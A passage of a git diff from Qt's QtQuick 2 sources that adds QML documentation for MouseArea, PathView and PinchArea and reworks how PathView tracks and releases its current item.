d->hovered ? emit entered() : emit exited();
}
}
+/*!
+ \qmlproperty QtQuick2::Qt::MouseButtons MouseArea::acceptedButtons
+ This property holds the mouse buttons that the mouse area reacts to.
+ The available buttons are:
+ \list
+ \o Qt.LeftButton
+ \o Qt.RightButton
+ \o Qt.MiddleButton
+ \endlist
+
+ To accept more than one button the flags can be combined with the
+ "|" (or) operator:
+
+ \code
+ MouseArea { acceptedButtons: Qt.LeftButton | Qt.RightButton }
+ \endcode
+
+ The default value is \c Qt.LeftButton.
+*/
Qt::MouseButtons QSGMouseArea::acceptedButtons() const
{
return acceptedMouseButtons();
@@ -907,6 +1216,43 @@ bool QSGMouseArea::setPressed(bool p)
return false;
}
+/*!
+ \qmlproperty Item QtQuick2::MouseArea::drag.target
+ \qmlproperty bool QtQuick2::MouseArea::drag.active
+ \qmlproperty enumeration QtQuick2::MouseArea::drag.axis
+ \qmlproperty real QtQuick2::MouseArea::drag.minimumX
+ \qmlproperty real QtQuick2::MouseArea::drag.maximumX
+ \qmlproperty real QtQuick2::MouseArea::drag.minimumY
+ \qmlproperty real QtQuick2::MouseArea::drag.maximumY
+ \qmlproperty bool QtQuick2::MouseArea::drag.filterChildren
+
+ \c drag provides a convenient way to make an item draggable.
+
+ \list
+ \i \c drag.target specifies the id of the item to drag.
+ \i \c drag.active specifies if the target item is currently being dragged.
+ \i \c drag.axis specifies whether dragging can be done horizontally (\c Drag.XAxis), vertically (\c Drag.YAxis), or both (\c Drag.XandYAxis)
+ \i \c drag.minimum and \c drag.maximum limit how far the target can be dragged along the corresponding axes.
+ \endlist
+
+ The following example displays a \l Rectangle that can be dragged along the X-axis. The opacity
+ of the rectangle is reduced when it is dragged to the right.
+
+ \snippet doc/src/snippets/declarative/mousearea/mousearea.qml drag
+
+ \note Items cannot be dragged if they are anchored for the requested
+ \c drag.axis. For example, if \c anchors.left or \c anchors.right was set
+ for \c rect in the above example, it cannot be dragged along the X-axis.
+ This can be avoided by settng the anchor value to \c undefined in
+ an \l onPressed handler.
+
+ If \c drag.filterChildren is set to true, a drag can override descendant MouseAreas. This
+ enables a parent MouseArea to handle drags, for example, while descendants handle clicks:
+
+ \snippet doc/src/snippets/declarative/mousearea/mouseareadragfilter.qml dragfilter
+
+*/
+
QSGDrag *QSGMouseArea::drag()
{
Q_D(QSGMouseArea);
diff --git a/src/declarative/items/qsgmousearea_p.h b/src/declarative/items/qsgmousearea_p.h
index aac829f6a9..ff3863c3bb 100644
--- a/src/declarative/items/qsgmousearea_p.h
+++ b/src/declarative/items/qsgmousearea_p.h
@@ -223,6 +223,7 @@ protected:
virtual void hoverLeaveEvent(QHoverEvent *event);
virtual bool childMouseEventFilter(QSGItem *i, QEvent *e);
virtual void timerEvent(QTimerEvent *event);
+ virtual void windowDeactivateEvent();
virtual void geometryChanged(const QRectF &newGeometry,
const QRectF &oldGeometry);
@@ -231,6 +232,7 @@ protected:
private:
void handlePress();
void handleRelease();
+ void ungrabMouse();
private:
Q_DISABLE_COPY(QSGMouseArea)
diff --git a/src/declarative/items/qsgpainteditem.cpp b/src/declarative/items/qsgpainteditem.cpp
index d4543c94f4..95aa2b4fb2 100644
--- a/src/declarative/items/qsgpainteditem.cpp
+++ b/src/declarative/items/qsgpainteditem.cpp
@@ -150,15 +150,10 @@ void QSGPaintedItem::update(const QRect &rect)
Q_D(QSGPaintedItem);
d->contentsDirty = true;
- QRect srect(qCeil(rect.x()*d->contentsScale),
- qCeil(rect.y()*d->contentsScale),
- qCeil(rect.width()*d->contentsScale),
- qCeil(rect.height()*d->contentsScale));
-
- if (srect.isNull() && !d->dirtyRect.isNull())
+ if (rect.isNull() && !d->dirtyRect.isNull())
d->dirtyRect = contentsBoundingRect().toAlignedRect();
else
- d->dirtyRect |= (contentsBoundingRect() & srect).toAlignedRect();
+ d->dirtyRect |= (contentsBoundingRect() & rect).toAlignedRect();
QSGItem::update();
}
diff --git a/src/declarative/items/qsgpathview.cpp b/src/declarative/items/qsgpathview.cpp
index 0bc45fd037..2c3e3cee71 100644
--- a/src/declarative/items/qsgpathview.cpp
+++ b/src/declarative/items/qsgpathview.cpp
@@ -111,7 +111,7 @@ void QSGPathViewPrivate::init()
q, movementEndingIdx, Qt::DirectConnection);
}
-QSGItem *QSGPathViewPrivate::getItem(int modelIndex)
+QSGItem *QSGPathViewPrivate::getItem(int modelIndex, bool onPath)
{
Q_Q(QSGPathView);
requestedIndex = modelIndex;
@@ -128,7 +128,7 @@ QSGItem *QSGPathViewPrivate::getItem(int modelIndex)
qPathViewAttachedType = 0;
if (att) {
att->m_view = q;
- att->setOnPath(true);
+ att->setOnPath(onPath);
}
item->setParentItem(q);
QSGItemPrivate *itemPrivate = QSGItemPrivate::get(item);
@@ -158,6 +158,10 @@ QSGPathViewAttached *QSGPathViewPrivate::attached(QSGItem *item)
void QSGPathViewPrivate::clear()
{
+ if (currentItem) {
+ releaseItem(currentItem);
+ currentItem = 0;
+ }
for (int i=0; i<items.count(); i++){
QSGItem *p = items[i];
releaseItem(p);
@@ -345,6 +349,71 @@ void QSGPathViewPrivate::regenerate()
q->refill();
}
+/*!
+ \qmlclass PathView QSGPathView
+ \inqmlmodule QtQuick 2
+ \ingroup qml-view-elements
+ \brief The PathView element lays out model-provided items on a path.
+ \inherits Item
+
+ A PathView displays data from models created from built-in QML elements like ListModel
+ and XmlListModel, or custom model classes defined in C++ that inherit from
+ QAbstractListModel.
+
+ The view has a \l model, which defines the data to be displayed, and
+ a \l delegate, which defines how the data should be displayed.
+ The \l delegate is instantiated for each item on the \l path.
+ The items may be flicked to move them along the path.
+
+ For example, if there is a simple list model defined in a file \c ContactModel.qml like this:
+
+ \snippet doc/src/snippets/declarative/pathview/ContactModel.qml 0
+
+ This data can be represented as a PathView, like this:
+
+ \snippet doc/src/snippets/declarative/pathview/pathview.qml 0
+
+ \image pathview.gif
+
+ (Note the above example uses PathAttribute to scale and modify the
+ opacity of the items as they rotate. This additional code can be seen in the
+ PathAttribute documentation.)
+
+ PathView does not automatically handle keyboard navigation. This is because
+ the keys to use for navigation will depend upon the shape of the path. Navigation
+ can be added quite simply by setting \c focus to \c true and calling
+ \l decrementCurrentIndex() or \l incrementCurrentIndex(), for example to navigate
+ using the left and right arrow keys:
+
+ \qml
+ PathView {
+ // ...
+ focus: true
+ Keys.onLeftPressed: decrementCurrentIndex()
+ Keys.onRightPressed: incrementCurrentIndex()
+ }
+ \endqml
+
+ The path view itself is a focus scope (see \l{qmlfocus#Acquiring Focus and Focus Scopes}{the focus documentation page} for more details).
+
+ Delegates are instantiated as needed and may be destroyed at any time.
+ State should \e never be stored in a delegate.
+
+ PathView attaches a number of properties to the root item of the delegate, for example
+ \c {PathView.isCurrentItem}. In the following example, the root delegate item can access
+ this attached property directly as \c PathView.isCurrentItem, while the child
+ \c nameText object must refer to this property as \c wrapper.PathView.isCurrentItem.
+
+ \snippet doc/src/snippets/declarative/pathview/pathview.qml 1
+
+ \bold Note that views do not enable \e clip automatically. If the view
+ is not clipped by another item or the screen, it will be necessary
+ to set \e {clip: true} in order to have the out of view items clipped
+ nicely.
+
+ \sa Path, {declarative/modelviews/pathview}{PathView example}
+*/
+
QSGPathView::QSGPathView(QSGItem *parent)
: QSGItem(*(new QSGPathViewPrivate), parent)
{
@@ -362,6 +431,54 @@ QSGPathView::~QSGPathView()
delete d->model;
}
+/*!
+ \qmlattachedproperty PathView QtQuick2::PathView::view
+ This attached property holds the view that manages this delegate instance.
+
+ It is attached to each instance of the delegate.
+*/
+
+/*!
+ \qmlattachedproperty bool QtQuick2::PathView::onPath
+ This attached property holds whether the item is currently on the path.
+
+ If a pathItemCount has been set, it is possible that some items may
+ be instantiated, but not considered to be currently on the path.
+ Usually, these items would be set invisible, for example:
+
+ \qml
+ Component {
+ Rectangle {
+ visible: PathView.onPath
+ // ...
+ }
+ }
+ \endqml
+
+ It is attached to each instance of the delegate.
+*/
+
+/*!
+ \qmlattachedproperty bool QtQuick2::PathView::isCurrentItem
+ This attached property is true if this delegate is the current item; otherwise false.
+
+ It is attached to each instance of the delegate.
+
+ This property may be used to adjust the appearance of the current item.
+
+ \snippet doc/src/snippets/declarative/pathview/pathview.qml 1
+*/
+
+/*!
+ \qmlproperty model QtQuick2::PathView::model
+ This property holds the model providing data for the view.
+
+ The model provides a set of data that is used to create the items for the view.
+ For large or dynamic datasets the model is usually provided by a C++ model object.
+ Models can also be created directly in QML, using the ListModel element.
+
+ \sa {qmlmodels}{Data Models}
+*/
QVariant QSGPathView::model() const
{
Q_D(const QSGPathView);
@@ -426,12 +543,21 @@ void QSGPathView::setModel(const QVariant &model)
emit modelChanged();
}
+/*!
+ \qmlproperty int QtQuick2::PathView::count
+ This property holds the number of items in the model.
+*/
int QSGPathView::count() const
{
Q_D(const QSGPathView);
return d->model ? d->modelCount : 0;
}
+/*!
+ \qmlproperty Path QtQuick2::PathView::path
+ This property holds the path used to lay out the items.
+ For more information see the \l Path documentation.
+*/
QDeclarativePath *QSGPathView::path() const
{
Q_D(const QSGPathView);
@@ -458,6 +584,10 @@ void QSGPathView::setPath(QDeclarativePath *path)
emit pathChanged();
}
+/*!
+ \qmlproperty int QtQuick2::PathView::currentIndex
+ This property holds the index of the current item.
+*/
int QSGPathView::currentIndex() const
{
Q_D(const QSGPathView);
@@ -470,28 +600,31 @@ void QSGPathView::setCurrentIndex(int idx)
if (d->model && d->modelCount)
idx = qAbs(idx % d->modelCount);
if (d->model && idx != d->currentIndex) {
- if (d->modelCount) {
- int itemIndex = (d->currentIndex - d->firstIndex + d->modelCount) % d->modelCount;
- if (itemIndex < d->items.count()) {
- if (QSGItem *item = d->items.at(itemIndex)) {
- if (QSGPathViewAttached *att = d->attached(item))
- att->setIsCurrentItem(false);
- }
- }
+ if (d->currentItem) {
+ if (QSGPathViewAttached *att = d->attached(d->currentItem))
+ att->setIsCurrentItem(false);
+ d->releaseItem(d->currentItem);
}
d->currentItem = 0;
d->moveReason = QSGPathViewPrivate::SetIndex;
d->currentIndex = idx;
if (d->modelCount) {
- if (d->haveHighlightRange && d->highlightRangeMode == QSGPathView::StrictlyEnforceRange)
- d->snapToCurrent();
int itemIndex = (idx - d->firstIndex + d->modelCount) % d->modelCount;
if (itemIndex < d->items.count()) {
- d->currentItem = d->items.at(itemIndex);
+ d->currentItem = d->model->item(d->currentIndex, true);
d->currentItem->setFocus(true);
if (QSGPathViewAttached *att = d->attached(d->currentItem))
att->setIsCurrentItem(true);
+ } else {
+ d->currentItem = d->getItem(d->currentIndex, false);
+ d->updateItem(d->currentItem, d->currentIndex < d->firstIndex ? 0.0 : 1.0);
+ if (QSGPathViewAttached *att = d->attached(d->currentItem))
+ att->setIsCurrentItem(true);
+ if (d->model->completePending())
+ d->model->completeItem();
}
+ if (d->haveHighlightRange && d->highlightRangeMode == QSGPathView::StrictlyEnforceRange)
+ d->snapToCurrent();
d->currentItemOffset = d->positionOfIndex(d->currentIndex);
d->updateHighlight();
}
@@ -499,6 +632,19 @@ void QSGPathView::setCurrentIndex(int idx)
}
}
+QSGItem *QSGPathView::currentItem() const
+{
+ Q_D(const QSGPathView);
+ return d->currentItem;
+}
+
+/*!
+ \qmlmethod QtQuick2::PathView::incrementCurrentIndex()
+
+ Increments the current index.
+
+ \bold Note: methods should only be called after the Component has completed.
+*/
void QSGPathView::incrementCurrentIndex()
{
Q_D(QSGPathView);
@@ -506,6 +652,13 @@ void QSGPathView::incrementCurrentIndex()
setCurrentIndex(currentIndex()+1);
}
+/*!
+ \qmlmethod QtQuick2::PathView::decrementCurrentIndex()
+
+ Decrements the current index.
+
+ \bold Note: methods should only be called after the Component has completed.
+*/
void QSGPathView::decrementCurrentIndex()
{
Q_D(QSGPathView);
@@ -518,6 +671,12 @@ void QSGPathView::decrementCurrentIndex()
}
}
+/*!
+ \qmlproperty real QtQuick2::PathView::offset
+
+ The offset specifies how far along the path the items are from their initial positions.
+ This is a real number that ranges from 0.0 to the count of items in the model.
+*/
qreal QSGPathView::offset() const
{
Q_D(const QSGPathView);
@@ -552,6 +711,30 @@ void QSGPathViewPrivate::setAdjustedOffset(qreal o)
setOffset(o+offsetAdj);
}
+/*!
+ \qmlproperty Component QtQuick2::PathView::highlight
+ This property holds the component to use as the highlight.
+
+ An instance of the highlight component will be created for each view.
+ The geometry of the resultant component instance will be managed by the view
+ so as to stay with the current item.
+
+ The below example demonstrates how to make a simple highlight. Note the use
+ of the \l{PathView::onPath}{PathView.onPath} attached property to ensure that
+ the highlight is hidden when flicked away from the path.
+
+ \qml
+ Component {
+ Rectangle {
+ visible: PathView.onPath
+ // ...
+ }
+ }
+ \endqml
+
+ \sa highlightItem, highlightRangeMode
+*/
+
QDeclarativeComponent *QSGPathView::highlight() const
{
Q_D(const QSGPathView);
@@ -569,12 +752,54 @@ void QSGPathView::setHighlight(QDeclarativeComponent *highlight)
}
}
+/*!
+ \qmlproperty Item QtQuick2::PathView::highlightItem
+
+ \c highlightItem holds the highlight item, which was created
+ from the \l highlight component.
+
+ \sa highlight
+*/
QSGItem *QSGPathView::highlightItem()
{
Q_D(const QSGPathView);
return d->highlightItem;
}
-
+/*!
+ \qmlproperty real QtQuick2::PathView::preferredHighlightBegin
+ \qmlproperty real QtQuick2::PathView::preferredHighlightEnd
+ \qmlproperty enumeration QtQuick2::PathView::highlightRangeMode
+
+ These properties set the preferred range of the highlight (current item)
+ within the view. The preferred values must be in the range 0.0-1.0.
+
+ If highlightRangeMode is set to \e PathView.NoHighlightRange
+
+ If highlightRangeMode is set to \e PathView.ApplyRange the view will
+ attempt to maintain the highlight within the range, however
+ the highlight can move outside of the range at the ends of the path
+ or due to a mouse interaction.
+
+ If highlightRangeMode is set to \e PathView.StrictlyEnforceRange the highlight will never
+ move outside of the range. This means that the current item will change
+ if a keyboard or mouse action would cause the highlight to move
+ outside of the range.
+
+ Note that this is the correct way to influence where the
+ current item ends up when the view moves. For example, if you want the
+ currently selected item to be in the middle of the path, then set the
+ highlight range to be 0.5,0.5 and highlightRangeMode to PathView.StrictlyEnforceRange.
+ Then, when the path scrolls,
+ the currently selected item will be the item at that position. This also applies to
+ when the currently selected item changes - it will scroll to within the preferred
+ highlight range. Furthermore, the behaviour of the current item index will occur
+ whether or not a highlight exists.
+
+ The default value is \e PathView.StrictlyEnforceRange.
+
+ Note that a valid range requires preferredHighlightEnd to be greater
+ than or equal to preferredHighlightBegin.
+*/
qreal QSGPathView::preferredHighlightBegin() const
{
Q_D(const QSGPathView);
@@ -625,6 +850,15 @@ void QSGPathView::setHighlightRangeMode(HighlightRangeMode mode)
emit highlightRangeModeChanged();
}
+/*!
+ \qmlproperty int QtQuick2::PathView::highlightMoveDuration
+ This property holds the move animation duration of the highlight delegate.
+
+ If the highlightRangeMode is StrictlyEnforceRange then this property
+ determines the speed that the items move along the path.
+
+ The default value for the duration is 300ms.
+*/
int QSGPathView::highlightMoveDuration() const
{
Q_D(const QSGPathView);
@@ -640,6 +874,14 @@ void QSGPathView::setHighlightMoveDuration(int duration)
emit highlightMoveDurationChanged();
}
+/*!
+ \qmlproperty real QtQuick2::PathView::dragMargin
+ This property holds the maximum distance from the path that initiate mouse dragging.
+
+ By default the path can only be dragged by clicking on an item. If
+ dragMargin is greater than zero, a drag can be initiated by clicking
+ within dragMargin pixels of the path.
+*/
qreal QSGPathView::dragMargin() const
{
Q_D(const QSGPathView);
@@ -655,6 +897,12 @@ void QSGPathView::setDragMargin(qreal dragMargin)
emit dragMarginChanged();
}
+/*!
+ \qmlproperty real QtQuick2::PathView::flickDeceleration
+ This property holds the rate at which a flick will decelerate.
+
+ The default is 100.
+*/
qreal QSGPathView::flickDeceleration() const
{
Q_D(const QSGPathView);
@@ -670,6 +918,14 @@ void QSGPathView::setFlickDeceleration(qreal dec)
emit flickDecelerationChanged();
}
+/*!
+ \qmlproperty bool QtQuick2::PathView::interactive
+
+ A user cannot drag or flick a PathView that is not interactive.
+
+ This property is useful for temporarily disabling flicking. This allows
+ special interaction with PathView's children.
+*/
bool QSGPathView::isInteractive() const
{
Q_D(const QSGPathView);
@@ -687,18 +943,79 @@ void QSGPathView::setInteractive(bool interactive)
}
}
+/*!
+ \qmlproperty bool QtQuick2::PathView::moving
+
+ This property holds whether the view is currently moving
+ due to the user either dragging or flicking the view.
+*/
bool QSGPathView::isMoving() const
{
Q_D(const QSGPathView);
return d->moving;
}
+/*!
+ \qmlproperty bool QtQuick2::PathView::flicking
+
+ This property holds whether the view is currently moving
+ due to the user flicking the view.
+*/
bool QSGPathView::isFlicking() const
{
Q_D(const QSGPathView);
return d->flicking;
}
+/*!
+ \qmlsignal QtQuick2::PathView::onMovementStarted()
+
+ This handler is called when the view begins moving due to user
+ interaction.
+*/
+
+/*!
+ \qmlsignal QtQuick2::PathView::onMovementEnded()
+
+ This handler is called when the view stops moving due to user
+ interaction. If a flick was generated, this handler will
+ be triggered once the flick stops. If a flick was not
+ generated, the handler will be triggered when the
+ user stops dragging - i.e. a mouse or touch release.
+*/
+
+/*!
+ \qmlsignal QtQuick2::PathView::onFlickStarted()
+
+ This handler is called when the view is flicked. A flick
+ starts from the point that the mouse or touch is released,
+ while still in motion.
+*/
+
+/*!
+ \qmlsignal QtQuick2::PathView::onFlickEnded()
+
+ This handler is called when the view stops moving due to a flick.
+*/
+
+/*!
+ \qmlproperty Component QtQuick2::PathView::delegate
+
+ The delegate provides a template defining each item instantiated by the view.
+ The index is exposed as an accessible \c index property. Properties of the
+ model are also available depending upon the type of \l {qmlmodels}{Data Model}.
+
+ The number of elements in the delegate has a direct effect on the
+ flicking performance of the view when pathItemCount is specified. If at all possible, place functionality
+ that is not needed for the normal display of the delegate in a \l Loader which
+ can load additional elements when needed.
+
+ Note that the PathView will layout the items based on the size of the root
+ item in the delegate.
+
+ Here is an example delegate:
+ \snippet doc/src/snippets/declarative/pathview/pathview.qml 1
+*/
QDeclarativeComponent *QSGPathView::delegate() const
{
Q_D(const QSGPathView);
@@ -730,6 +1047,10 @@ void QSGPathView::setDelegate(QDeclarativeComponent *delegate)
}
}
+/*!
+ \qmlproperty int QtQuick2::PathView::pathItemCount
+ This property holds the number of items visible on the path at any one time.
+*/
int QSGPathView::pathItemCount() const
{
Q_D(const QSGPathView);
@@ -976,6 +1297,7 @@ bool QSGPathView::sendMouseEvent(QGraphicsSceneMouseEvent *event)
return d->stealMouse;
} else if (d->lastPosTime.isValid()) {
d->lastPosTime.invalidate();
+ d->fixOffset();
}
if (mouseEvent.type() == QEvent::GraphicsSceneMouseRelease)
d->stealMouse = false;
@@ -1000,6 +1322,18 @@ bool QSGPathView::childMouseEventFilter(QSGItem *i, QEvent *e)
return QSGItem::childMouseEventFilter(i, e);
}
+void QSGPathView::mouseUngrabEvent()
+{
+ Q_D(QSGPathView);
+ if (d->stealMouse) {
+ // if our mouse grab has been removed (probably by a Flickable),
+ // fix our state
+ d->stealMouse = false;
+ setKeepMouseGrab(false);
+ d->lastPosTime.invalidate();
+ }
+}
+
void QSGPathView::updatePolish()
{
QSGItem::updatePolish();
@@ -1079,12 +1413,8 @@ void QSGPathView::refill()
if (d->model->completePending())
item->setZ(idx+1);
if (d->currentIndex == idx) {
- item->setFocus(true);
- if (QSGPathViewAttached *att = d->attached(item))
- att->setIsCurrentItem(true);
currentVisible = true;
d->currentItemOffset = pos;
- d->currentItem = item;
}
if (d->items.count() == 0)
d->firstIndex = idx;
@@ -1108,12 +1438,8 @@ void QSGPathView::refill()
if (d->model->completePending())
item->setZ(idx+1);
if (d->currentIndex == idx) {
- item->setFocus(true);
- if (QSGPathViewAttached *att = d->attached(item))
- att->setIsCurrentItem(true);
currentVisible = true;
d->currentItemOffset = pos;
- d->currentItem = item;
}
d->items.prepend(item);
d->updateItem(item, pos);
@@ -1128,8 +1454,25 @@ void QSGPathView::refill()
}
}
- if (!currentVisible)
+ if (!currentVisible) {
d->currentItemOffset = 1.0;
+ if (d->currentItem) {
+ if (QSGPathViewAttached *att = d->attached(d->currentItem))
+ att->setOnPath(false);
+ } else if (d->currentIndex >= 0 && d->currentIndex < d->modelCount) {
+ d->currentItem = d->getItem(d->currentIndex, false);
+ d->updateItem(d->currentItem, d->currentIndex < d->firstIndex ? 0.0 : 1.0);
+ if (QSGPathViewAttached *att = d->attached(d->currentItem))
+ att->setIsCurrentItem(true);
+ if (d->model->completePending())
+ d->model->completeItem();
+ }
+ } else if (!d->currentItem) {
+ d->currentItem = d->model->item(d->currentIndex, true);
+ d->currentItem->setFocus(true);
+ if (QSGPathViewAttached *att = d->attached(d->currentItem))
+ att->setIsCurrentItem(true);
+ }
if (d->highlightItem && d->haveHighlightRange && d->highlightRangeMode == QSGPathView::StrictlyEnforceRange) {
d->updateItem(d->highlightItem, d->highlightRangeStart);
@@ -1193,6 +1536,8 @@ void QSGPathView::itemsRemoved(int modelIndex, int count)
if (d->currentItem) {
if (QSGPathViewAttached *att = d->attached(d->currentItem))
att->setIsCurrentItem(true);
+ d->releaseItem(d->currentItem);
+ d->currentItem = 0;
}
currentChanged = true;
}
@@ -1332,21 +1677,26 @@ void QSGPathViewPrivate::updateCurrent()
int idx = calcCurrentIndex();
if (model && idx != currentIndex) {
- int itemIndex = (currentIndex - firstIndex + modelCount) % modelCount;
- if (itemIndex < items.count()) {
- if (QSGItem *item = items.at(itemIndex)) {
- if (QSGPathViewAttached *att = attached(item))
- att->setIsCurrentItem(false);
- }
+ if (currentItem) {
+ if (QSGPathViewAttached *att = attached(currentItem))
+ att->setIsCurrentItem(false);
+ releaseItem(currentItem);
}
currentIndex = idx;
currentItem = 0;
- itemIndex = (idx - firstIndex + modelCount) % modelCount;
+ int itemIndex = (idx - firstIndex + modelCount) % modelCount;
if (itemIndex < items.count()) {
- currentItem = items.at(itemIndex);
+ currentItem = model->item(currentIndex, true);
currentItem->setFocus(true);
if (QSGPathViewAttached *att = attached(currentItem))
att->setIsCurrentItem(true);
+ } else if (currentIndex >= 0 && currentIndex < modelCount) {
+ currentItem = getItem(currentIndex, false);
+ updateItem(currentItem, currentIndex < firstIndex ? 0.0 : 1.0);
+ if (QSGPathViewAttached *att = attached(currentItem))
+ att->setIsCurrentItem(true);
+ if (model->completePending())
+ model->completeItem();
}
emit q->currentIndexChanged();
}
diff --git a/src/declarative/items/qsgpathview_p.h b/src/declarative/items/qsgpathview_p.h
index 31f2f6a113..a271e323cd 100644
--- a/src/declarative/items/qsgpathview_p.h
+++ b/src/declarative/items/qsgpathview_p.h
@@ -62,6 +62,7 @@ class Q_AUTOTEST_EXPORT QSGPathView : public QSGItem
Q_PROPERTY(QVariant model READ model WRITE setModel NOTIFY modelChanged)
Q_PROPERTY(QDeclarativePath *path READ path WRITE setPath NOTIFY pathChanged)
Q_PROPERTY(int currentIndex READ currentIndex WRITE setCurrentIndex NOTIFY currentIndexChanged)
+ Q_PROPERTY(QSGItem *currentItem READ currentItem NOTIFY currentIndexChanged)
Q_PROPERTY(qreal offset READ offset WRITE setOffset NOTIFY offsetChanged)
Q_PROPERTY(QDeclarativeComponent *highlight READ highlight WRITE setHighlight NOTIFY highlightChanged)
@@ -98,6 +99,8 @@ public:
int currentIndex() const;
void setCurrentIndex(int idx);
+ QSGItem *currentItem() const;
+
qreal offset() const;
void setOffset(qreal offset);
@@ -176,6 +179,7 @@ protected:
void mouseReleaseEvent(QGraphicsSceneMouseEvent *);
bool sendMouseEvent(QGraphicsSceneMouseEvent *event);
bool childMouseEventFilter(QSGItem *, QEvent *);
+ void mouseUngrabEvent();
void componentComplete();
private Q_SLOTS:
diff --git a/src/declarative/items/qsgpathview_p_p.h b/src/declarative/items/qsgpathview_p_p.h
index a133e80abc..1575c6c1ca 100644
--- a/src/declarative/items/qsgpathview_p_p.h
+++ b/src/declarative/items/qsgpathview_p_p.h
@@ -111,7 +111,7 @@ public:
}
}
- QSGItem *getItem(int modelIndex);
+ QSGItem *getItem(int modelIndex, bool onPath = true);
void releaseItem(QSGItem *item);
QSGPathViewAttached *attached(QSGItem *item);
void clear();
diff --git a/src/declarative/items/qsgpincharea.cpp b/src/declarative/items/qsgpincharea.cpp
index f86c18dfcf..54c32e5025 100644
--- a/src/declarative/items/qsgpincharea.cpp
+++ b/src/declarative/items/qsgpincharea.cpp
@@ -50,6 +50,102 @@
QT_BEGIN_NAMESPACE
+/*!
+ \qmlclass PinchEvent QSGPinchEvent
+ \inqmlmodule QtQuick 2
+ \ingroup qml-event-elements
+ \brief The PinchEvent object provides information about a pinch event.
+
+ \bold {The PinchEvent element was added in QtQuick 1.1}
+
+ The \c center, \c startCenter, \c previousCenter properties provide the center position between the two touch points.
+
+ The \c scale and \c previousScale properties provide the scale factor.
+
+ The \c angle, \c previousAngle and \c rotation properties provide the angle between the two points and the amount of rotation.
+
+ The \c point1, \c point2, \c startPoint1, \c startPoint2 properties provide the positions of the touch points.
+
+ The \c accepted property may be set to false in the \c onPinchStarted handler if the gesture should not
+ be handled.
+
+ \sa PinchArea
+*/
+
+/*!
+ \qmlproperty QPointF QtQuick2::PinchEvent::center
+ \qmlproperty QPointF QtQuick2::PinchEvent::startCenter
+ \qmlproperty QPointF QtQuick2::PinchEvent::previousCenter
+
+ These properties hold the position of the center point between the two touch points.
+
+ \list
+ \o \c center is the current center point
+ \o \c previousCenter is the center point of the previous event.
+ \o \c startCenter is the center point when the gesture began
+ \endlist
+*/
+
+/*!
+ \qmlproperty real QtQuick2::PinchEvent::scale
+ \qmlproperty real QtQuick2::PinchEvent::previousScale
+
+ These properties hold the scale factor determined by the change in distance between the two touch points.
+
+ \list
+ \o \c scale is the current scale factor.
+ \o \c previousScale is the scale factor of the previous event.
+ \endlist
+
+ When a pinch gesture is started, the scale is 1.0.
+*/
+
+/*!
+ \qmlproperty real QtQuick2::PinchEvent::angle
+ \qmlproperty real QtQuick2::PinchEvent::previousAngle
+ \qmlproperty real QtQuick2::PinchEvent::rotation
+
+ These properties hold the angle between the two touch points.
+
+ \list
+ \o \c angle is the current angle between the two points in the range -180 to 180.
+ \o \c previousAngle is the angle of the previous event.
+ \o \c rotation is the total rotation since the pinch gesture started.
+ \endlist
+
+ When a pinch gesture is started, the rotation is 0.0.
+*/
+
+/*!
+ \qmlproperty QPointF QtQuick2::PinchEvent::point1
+ \qmlproperty QPointF QtQuick2::PinchEvent::startPoint1
+ \qmlproperty QPointF QtQuick2::PinchEvent::point2
+ \qmlproperty QPointF QtQuick2::PinchEvent::startPoint2
+
+ These properties provide the actual touch points generating the pinch.
+
+ \list
+ \o \c point1 and \c point2 hold the current positions of the points.
+ \o \c startPoint1 and \c startPoint2 hold the positions of the points when the second point was touched.
+ \endlist
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::PinchEvent::accepted
+
+ Setting this property to false in the \c PinchArea::onPinchStarted handler
+ will result in no further pinch events being generated, and the gesture
+ ignored.
+*/
+
+/*!
+ \qmlproperty int QtQuick2::PinchEvent::pointCount
+
+ Holds the number of points currently touched. The PinchArea will not react
+ until two touch points have initited a gesture, but will remain active until
+ all touch points have been released.
+*/
+
QSGPinch::QSGPinch()
: m_target(0), m_minScale(1.0), m_maxScale(1.0)
, m_minRotation(0.0), m_maxRotation(0.0)
@@ -63,6 +159,87 @@ QSGPinchAreaPrivate::~QSGPinchAreaPrivate()
delete pinch;
}
+/*!
+ \qmlclass PinchArea QSGPinchArea
+ \inqmlmodule QtQuick 2
+ \brief The PinchArea item enables simple pinch gesture handling.
+ \inherits Item
+
+ \bold {The PinchArea element was added in QtQuick 1.1}
+
+ A PinchArea is an invisible item that is typically used in conjunction with
+ a visible item in order to provide pinch gesture handling for that item.
+
+ The \l enabled property is used to enable and disable pinch handling for
+ the proxied item. When disabled, the pinch area becomes transparent to
+ mouse/touch events.
+
+ PinchArea can be used in two ways:
+
+ \list
+ \o setting a \c pinch.target to provide automatic interaction with an element
+ \o using the onPinchStarted, onPinchUpdated and onPinchFinished handlers
+ \endlist
+
+ \sa PinchEvent
+*/
+
+/*!
+ \qmlsignal QtQuick2::PinchArea::onPinchStarted()
+
+ This handler is called when the pinch area detects that a pinch gesture has started.
+
+ The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture,
+ including the scale, center and angle of the pinch.
+
+ To ignore this gesture set the \c pinch.accepted property to false. The gesture
+ will be cancelled and no further events will be sent.
+*/
+
+/*!
+ \qmlsignal QtQuick2::PinchArea::onPinchUpdated()
+
+ This handler is called when the pinch area detects that a pinch gesture has changed.
+
+ The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture,
+ including the scale, center and angle of the pinch.
+*/
+
+/*!
+ \qmlsignal QtQuick2::PinchArea::onPinchFinished()
+
+ This handler is called when the pinch area detects that a pinch gesture has finished.
+
+ The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture,
+ including the scale, center and angle of the pinch.
+*/
+
+
+/*!
+ \qmlproperty Item QtQuick2::PinchArea::pinch.target
+ \qmlproperty bool QtQuick2::PinchArea::pinch.active
+ \qmlproperty real QtQuick2::PinchArea::pinch.minimumScale
+ \qmlproperty real QtQuick2::PinchArea::pinch.maximumScale
+ \qmlproperty real QtQuick2::PinchArea::pinch.minimumRotation
+ \qmlproperty real QtQuick2::PinchArea::pinch.maximumRotation
+ \qmlproperty enumeration QtQuick2::PinchArea::pinch.dragAxis
+ \qmlproperty real QtQuick2::PinchArea::pinch.minimumX
+ \qmlproperty real QtQuick2::PinchArea::pinch.maximumX
+ \qmlproperty real QtQuick2::PinchArea::pinch.minimumY
+ \qmlproperty real QtQuick2::PinchArea::pinch.maximumY
+
+ \c pinch provides a convenient way to make an item react to pinch gestures.
+
+ \list
+ \i \c pinch.target specifies the id of the item to drag.
+ \i \c pinch.active specifies if the target item is currently being dragged.
